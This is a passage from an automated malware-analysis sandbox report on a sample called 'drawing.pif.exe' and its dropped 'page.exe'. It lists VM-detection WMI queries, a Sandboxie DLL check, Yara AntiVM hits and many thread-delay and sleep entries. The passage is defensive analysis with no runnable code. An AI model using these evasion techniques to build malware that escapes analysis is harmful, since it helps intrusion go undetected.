Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: 58955, ZN25888A #U2013 drawing.pif.exe PID: 7604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: page.exe PID: 3716, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1657466713.0000000002698000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000010.00000002.1913541697.0000000002B28000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Memory allocated: BB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Memory allocated: 2650000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Memory allocated: 2390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Memory allocated: F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Memory allocated: 2800000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: CB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 25D0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 45D0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Window / User API: threadDelayed 1302	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Window / User API: threadDelayed 2735	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8453	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1240	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2842	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 7006	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Window / User API: threadDelayed 538	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Window / User API: threadDelayed 3135	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2267
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 7558

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -99874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7692	Thread sleep count: 1302 > 30	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -99740s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7692	Thread sleep count: 2735 > 30	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -99625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -99515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -99403s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -99239s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -99122s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -98951s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -98840s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -98734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -98624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -98515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -98406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -98297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -98172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -98062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -97953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe TID: 7664	Thread sleep time: -97844s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8136	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5996	Thread sleep count: 2842 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5996	Thread sleep count: 7006 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -99196s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -99093s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -98981s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -98875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -98766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -98656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -98547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -98437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -98257s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -97826s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -97717s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -97609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -97500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -97391s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -97281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -97172s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -97062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -96953s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -96844s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -96719s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -96609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -96500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -96391s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -96281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -96172s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -96062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -95953s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -95841s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -95734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -95622s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -95506s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -95381s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -95249s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -95109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -95000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -94874s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -94766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -94641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -94528s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -94421s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -94312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -94203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -94094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -93984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5272	Thread sleep time: -93875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 3892	Thread sleep count: 538 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 3892	Thread sleep count: 3135 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -99780s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -99335s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -98999s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -98672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -98562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -98453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe TID: 2376	Thread sleep time: -98343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep count: 35 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3476	Thread sleep count: 2267 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -99889s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3476	Thread sleep count: 7558 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -99781s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -99672s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -99563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -99438s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -99328s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -99219s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -99094s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -98983s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -98875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -98738s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -98578s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -98297s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -98172s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -98063s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -97953s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -97844s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -97719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -97610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -97485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -97360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -97235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -97110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -96985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -96860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -96735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -96610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -96485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -96360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -96235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -96110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -95985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -95845s >= -30000s
